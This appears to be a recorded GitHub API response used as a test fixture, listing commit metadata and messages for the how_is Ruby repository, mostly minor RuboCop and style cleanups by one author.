headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:45 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3344' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"6330453f489eab407cc1ab76f6f249ef" Last-Modified: - Fri, 26 May 2017 10:15:32 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - EDD8:4024:29D417:5421F8:5CC36AED body: encoding: ASCII-8BIT string: '[{"sha":"8da03a2f018e82d280d7fef599767a2c12c90a0b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGRhMDNhMmYwMThlODJkMjgwZDdmZWY1OTk3NjdhMmMxMmM5MGEwYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:15:32Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:15:32Z"},"message":"[RuboCop] disable rubocop for cli.rb because it''s a fucking disaster.","tree":{"sha":"ff580eda1e8e0c579e4dba58635165633690e214","url":"https://api.github.com/repos/how-is/how_is/git/trees/ff580eda1e8e0c579e4dba58635165633690e214"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8da03a2f018e82d280d7fef599767a2c12c90a0b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8da03a2f018e82d280d7fef599767a2c12c90a0b","html_url":"https://github.com/how-is/how_is/commit/8da03a2f018e82d280d7fef599767a2c12c90a0b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8da03a2f018e82d280d7fef599767a2c12c90a0b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"cdfeb83b51ce636f2aa645265698fe575100ebee","url":"https://api.github.com/repos/how-is/how_is/commits/cdfeb83b51ce636f2aa645265698fe575100ebee","html_url":"https://github.com/how-is/how_is/commit/cdfeb83b51ce636f2aa645265698fe575100ebee"}]},{"sha":"cdfeb83b51ce636f2aa645265698fe575100ebee","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2RmZWI4M2I1MWNlNjM2ZjJhYTY0NTI2NTY5OGZlNTc1MTAwZWJlZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:13:18Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:13:18Z"},"message":"[how_is/fetcher] remove unnecessary blank line","tree":{"sha":"363b2ec542108672e23f4c6a6eb6f0ab3338126a","url":"https://api.github.com/repos/how-is/how_is/git/trees/363b2ec542108672e23f4c6a6eb6f0ab3338126a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/cdfeb83b51ce636f2aa645265698fe575100ebee","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/cdfeb83b51ce636f2aa645265698fe575100ebee","html_url":"https://github.com/how-is/how_is/commit/cdfeb83b51ce636f2aa645265698fe575100ebee","comments_url":"https://api.github.com/repos/how-is/how_is/commits/cdfeb83b51ce636f2aa645265698fe575100ebee/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"92ec82461187f03d328492d0c7643b2ce9007586","url":"https://api.github.com/repos/how-is/how_is/commits/92ec82461187f03d328492d0c7643b2ce9007586","html_url":"https://github.com/how-is/how_is/commit/92ec82461187f03d328492d0c7643b2ce9007586"}]},{"sha":"92ec82461187f03d328492d0c7643b2ce9007586","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTJlYzgyNDYxMTg3ZjAzZDMyODQ5MmQwYzc2NDNiMmNlOTAwNzU4Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:10:27Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:10:27Z"},"message":"[how_is/fetcher] use nested class defintions instead of compact style.","tree":{"sha":"0ee81e4f432d7841356f24e7b56051f89ddc6aea","url":"https://api.github.com/repos/how-is/how_is/git/trees/0ee81e4f432d7841356f24e7b56051f89ddc6aea"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/92ec82461187f03d328492d0c7643b2ce9007586","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/92ec82461187f03d328492d0c7643b2ce9007586","html_url":"https://github.com/how-is/how_is/commit/92ec82461187f03d328492d0c7643b2ce9007586","comments_url":"https://api.github.com/repos/how-is/how_is/commits/92ec82461187f03d328492d0c7643b2ce9007586/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6e74ea020be7a28dcbf2c84c1d7f95e5f988b4af","url":"https://api.github.com/repos/how-is/how_is/commits/6e74ea020be7a28dcbf2c84c1d7f95e5f988b4af","html_url":"https://github.com/how-is/how_is/commit/6e74ea020be7a28dcbf2c84c1d7f95e5f988b4af"}]},{"sha":"6e74ea020be7a28dcbf2c84c1d7f95e5f988b4af","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmU3NGVhMDIwYmU3YTI4ZGNiZjJjODRjMWQ3Zjk1ZTVmOTg4YjRhZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:08:33Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:08:33Z"},"message":"[how_is/analyzer] remove trailing comma in method call","tree":{"sha":"51adf3c050d921cb22d89ba67f54e4b582bdf874","url":"https://api.github.com/repos/how-is/how_is/git/trees/51adf3c050d921cb22d89ba67f54e4b582bdf874"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6e74ea020be7a28dcbf2c84c1d7f95e5f988b4af","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6e74ea020be7a28dcbf2c84c1d7f95e5f988b4af","html_url":"https://github.com/how-is/how_is/commit/6e74ea020be7a28dcbf2c84c1d7f95e5f988b4af","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6e74ea020be7a28dcbf2c84c1d7f95e5f988b4af/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"15439a3454ac79eb6246ac1d3207e55ddddfcba8","url":"https://api.github.com/repos/how-is/how_is/commits/15439a3454ac79eb6246ac1d3207e55ddddfcba8","html_url":"https://github.com/how-is/how_is/commit/15439a3454ac79eb6246ac1d3207e55ddddfcba8"}]},{"sha":"15439a3454ac79eb6246ac1d3207e55ddddfcba8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTU0MzlhMzQ1NGFjNzllYjYyNDZhYzFkMzIwN2U1NWRkZGRmY2JhOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:06:33Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:06:33Z"},"message":"[report/html] use %[] instead of %Q[]","tree":{"sha":"2429e1193bbdaa21cfa15545fceabd3d491f6bd8","url":"https://api.github.com/repos/how-is/how_is/git/trees/2429e1193bbdaa21cfa15545fceabd3d491f6bd8"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/15439a3454ac79eb6246ac1d3207e55ddddfcba8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/15439a3454ac79eb6246ac1d3207e55ddddfcba8","html_url":"https://github.com/how-is/how_is/commit/15439a3454ac79eb6246ac1d3207e55ddddfcba8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/15439a3454ac79eb6246ac1d3207e55ddddfcba8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e990cd821b460740a30adf55532111696b84e180","url":"https://api.github.com/repos/how-is/how_is/commits/e990cd821b460740a30adf55532111696b84e180","html_url":"https://github.com/how-is/how_is/commit/e990cd821b460740a30adf55532111696b84e180"}]},{"sha":"e990cd821b460740a30adf55532111696b84e180","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTk5MGNkODIxYjQ2MDc0MGEzMGFkZjU1NTMyMTExNjk2Yjg0ZTE4MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:05:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:05:20Z"},"message":"[RuboCop] improve exclusion rule","tree":{"sha":"2e0dcb085c6d57399e78e48d62b411380eda44e2","url":"https://api.github.com/repos/how-is/how_is/git/trees/2e0dcb085c6d57399e78e48d62b411380eda44e2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e990cd821b460740a30adf55532111696b84e180","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e990cd821b460740a30adf55532111696b84e180","html_url":"https://github.com/how-is/how_is/commit/e990cd821b460740a30adf55532111696b84e180","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e990cd821b460740a30adf55532111696b84e180/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"95a29feb10ac0f5346e8c6daaa3817056e59ad36","url":"https://api.github.com/repos/how-is/how_is/commits/95a29feb10ac0f5346e8c6daaa3817056e59ad36","html_url":"https://github.com/how-is/how_is/commit/95a29feb10ac0f5346e8c6daaa3817056e59ad36"}]},{"sha":"95a29feb10ac0f5346e8c6daaa3817056e59ad36","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTVhMjlmZWIxMGFjMGY1MzQ2ZThjNmRhYWEzODE3MDU2ZTU5YWQzNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:04:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:04:07Z"},"message":"[report/{base_report,html}] rename _text variable to content.","tree":{"sha":"03e0a13d5cde2c2d2e0298d98ab2f17329d4e7ed","url":"https://api.github.com/repos/how-is/how_is/git/trees/03e0a13d5cde2c2d2e0298d98ab2f17329d4e7ed"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/95a29feb10ac0f5346e8c6daaa3817056e59ad36","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/95a29feb10ac0f5346e8c6daaa3817056e59ad36","html_url":"https://github.com/how-is/how_is/commit/95a29feb10ac0f5346e8c6daaa3817056e59ad36","comments_url":"https://api.github.com/repos/how-is/how_is/commits/95a29feb10ac0f5346e8c6daaa3817056e59ad36/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a65547da2ed679eb7c0c3176e1c1f0e22f496ef","url":"https://api.github.com/repos/how-is/how_is/commits/4a65547da2ed679eb7c0c3176e1c1f0e22f496ef","html_url":"https://github.com/how-is/how_is/commit/4a65547da2ed679eb7c0c3176e1c1f0e22f496ef"}]},{"sha":"4a65547da2ed679eb7c0c3176e1c1f0e22f496ef","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGE2NTU0N2RhMmVkNjc5ZWI3YzBjMzE3NmUxYzFmMGUyMmY0OTZlZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:00:58Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:00:58Z"},"message":"[exe/how_is] remove unnecessary blank line","tree":{"sha":"37895672d1ab87d6712df1cbf62a09d7fd51d9a0","url":"https://api.github.com/repos/how-is/how_is/git/trees/37895672d1ab87d6712df1cbf62a09d7fd51d9a0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4a65547da2ed679eb7c0c3176e1c1f0e22f496ef","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4a65547da2ed679eb7c0c3176e1c1f0e22f496ef","html_url":"https://github.com/how-is/how_is/commit/4a65547da2ed679eb7c0c3176e1c1f0e22f496ef","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4a65547da2ed679eb7c0c3176e1c1f0e22f496ef/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"605ab9cf5aabbd56d047a93f58fe7a55a173d847","url":"https://api.github.com/repos/how-is/how_is/commits/605ab9cf5aabbd56d047a93f58fe7a55a173d847","html_url":"https://github.com/how-is/how_is/commit/605ab9cf5aabbd56d047a93f58fe7a55a173d847"}]},{"sha":"605ab9cf5aabbd56d047a93f58fe7a55a173d847","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjA1YWI5Y2Y1YWFiYmQ1NmQwNDdhOTNmNThmZTdhNTVhMTczZDg0Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:00:18Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T10:00:18Z"},"message":"[RuboCop] disable Style/SymbolArray","tree":{"sha":"134c3162237a13da3dfab00f14a309bff7a2c788","url":"https://api.github.com/repos/how-is/how_is/git/trees/134c3162237a13da3dfab00f14a309bff7a2c788"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/605ab9cf5aabbd56d047a93f58fe7a55a173d847","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/605ab9cf5aabbd56d047a93f58fe7a55a173d847","html_url":"https://github.com/how-is/how_is/commit/605ab9cf5aabbd56d047a93f58fe7a55a173d847","comments_url":"https://api.github.com/repos/how-is/how_is/commits/605ab9cf5aabbd56d047a93f58fe7a55a173d847/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"02892d469d6b78050b5d618ddc154c8191acccb6","url":"https://api.github.com/repos/how-is/how_is/commits/02892d469d6b78050b5d618ddc154c8191acccb6","html_url":"https://github.com/how-is/how_is/commit/02892d469d6b78050b5d618ddc154c8191acccb6"}]},{"sha":"02892d469d6b78050b5d618ddc154c8191acccb6","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDI4OTJkNDY5ZDZiNzgwNTBiNWQ2MThkZGMxNTRjODE5MWFjY2NiNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:56:13Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:56:39Z"},"message":"[how_is_spec] split things across multiple lines because line lengths","tree":{"sha":"dbbe4a46b0d75f0c58a3a88ac93cc35790951f63","url":"https://api.github.com/repos/how-is/how_is/git/trees/dbbe4a46b0d75f0c58a3a88ac93cc35790951f63"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/02892d469d6b78050b5d618ddc154c8191acccb6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/02892d469d6b78050b5d618ddc154c8191acccb6","html_url":"https://github.com/how-is/how_is/commit/02892d469d6b78050b5d618ddc154c8191acccb6","comments_url":"https://api.github.com/repos/how-is/how_is/commits/02892d469d6b78050b5d618ddc154c8191acccb6/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos